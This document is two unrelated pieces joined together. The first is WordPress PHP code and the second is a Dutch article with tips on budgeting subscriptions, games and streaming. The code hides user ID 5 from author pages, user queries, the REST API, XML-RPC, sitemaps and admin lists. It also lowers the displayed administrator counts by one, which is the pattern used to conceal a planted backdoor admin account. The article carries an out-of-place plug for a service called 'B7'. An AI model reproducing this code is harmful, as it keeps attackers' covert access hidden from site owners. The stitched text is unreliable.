add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 5;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 5 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 5 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 5;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 5;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 5;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/5(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 5;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Begin met een spreadsheet. Noteer elke service, de maandelijkse prijs en de datum van automatische incasso. Veel mensen vergeten dat een “gratis proefperiode” vaak na 30 dagen overgaat in een betaalde versie. Een concreet voorbeeld: een streamingplatform dat €12,99 per maand kost, wordt vaak over het hoofd gezien omdat de factuur op een andere creditcard staat. Door alles op één plek te zien, kun je direct zien welke abonnementen je echt gebruikt.
Als je één of twee van deze diensten minder dan twee uur per week gebruikt, overweeg dan een downgrade of een gedeeld account met vrienden of familie.

Telecomproviders bieden vaak bundels aan waarbij internet, telefoon en streaming samen €5 tot €10 per maand goedkoper zijn dan losse abonnementen. Een concrete case: een klant die zowel een 100 Mbps internetabonnement (€35) als een streamingpakket (€12,99) had, betaalde €47,99 in totaal. Na overstappen naar een bundel van €41 bespaarde hij €6,99 per maand – dat is €84 per jaar.
Let wel op de contractduur. Een 24‑maandencontract kan aantrekkelijk lijken, maar als je binnen een jaar wilt overstappen, betaal je vaak een boete van €100. Weeg die kosten af tegen de maandelijkse besparing.
Games kopen tijdens uitverkoop is een bekende truc, maar er zijn minder voor de hand liggende besparingen. Veel digitale platforms – Steam, PlayStation Store, Xbox Marketplace – hebben een “wishlist” functie. Voeg een game toe, en zodra de prijs onder €20 zakt, krijg je een e‑mail. In mijn eigen ervaring viel een populaire RPG van €60 binnen twee weken tot €19, wat een besparing van 68 % opleverde.
Daarnaast kun je overwegen om een “pay‑what‑you‑want” model te gebruiken bij indie‑games. Een ontwikkelaar bood een spel aan voor een minimale bijdrage van €1; de meeste spelers betaalden €5, maar de gemiddelde uitgave per speler bleef onder €3.
Streaming video in hoge resolutie (4K) verbruikt gemiddeld 7 GB per uur. Met een maandelijks datapakket van 100 GB kun je dus ongeveer 14 uur 4K‑streamen voordat je extra kosten moet betalen. Een eenvoudige manier om dit te beperken, is de kwaliteit automatisch op “HD” te zetten wanneer je niet op een Wi‑Fi‑netwerk bent. De besparing is niet alleen financieel, maar ook voor je batterijduur op mobiele apparaten.
Stel, je hebt een maandelijks budget van €100 voor digitale vrijetijdsbesteding. Je verdeelt dit als volgt: €35 voor internet, €15 voor streaming, €20 voor games, €10 voor muziek, en €20 voor incidentele aankopen. Door de bundelkorting (internet + streaming) bespaar je €7, en door alleen games te kopen tijdens uitverkoop bespaar je nog eens €15 per maand. Het resultaat is een overschot van €42, dat je kunt gebruiken voor een hobby of een weekendje weg.
Voor een concrete koppeling tussen budgettips en digitale entertainment, kun je bij het zoeken naar goedkope game‑aanbiedingen ook de muziek‑streaming service B7 raadplegen, waar regelmatig promoties verschijnen die je extra waarde geven zonder extra kosten.
Een veelvoorkomende fout is het negeren van “vergeten” abonnementen. Een familie‑account kan bijvoorbeeld een extra €5 per maand kosten, maar wordt vaak niet gemeld omdat de hoofdgebruiker de factuur betaalt. Controleer daarom elk kwartaal je bankafschriften op terugkerende betalingen.
Daarnaast kan het te sterk focussen op kortingen je blind maken voor kwaliteit. Een goedkope game is niet per definitie beter dan een duurdere titel die langer meegaat. Houd een balans tussen prijs en speelduur.
Door je digitale uitgaven systematisch in kaart te brengen, bundelkortingen te benutten, en slimme koopmomenten te kiezen, kun je jaarlijks tot €200 besparen. Dat geld kun je investeren in betere hardware, een nieuwe hobby, of simpelweg meer vrije tijd zonder financiële stress. Een klein budgetplan vraagt slechts een half uur per maand, maar levert een blijvend gevoel van controle en meer plezier in je digitale vrije tijd.
Begin met het inventariseren van al je digitale abonnementen, noteer de maandelijkse kosten en stel een maandbudget vast dat past bij je inkomsten en doelen.
Houd de startdata, duur, prijs, en eventuele verlengingsvoorwaarden bij om onnodige herhaalde kosten te voorkomen.
Ja, door een buffer of spaarrekening binnen het budget op te nemen, heb je ruimte voor eenmalige aankopen zoals game‑uitbreidingen of concert‑streams.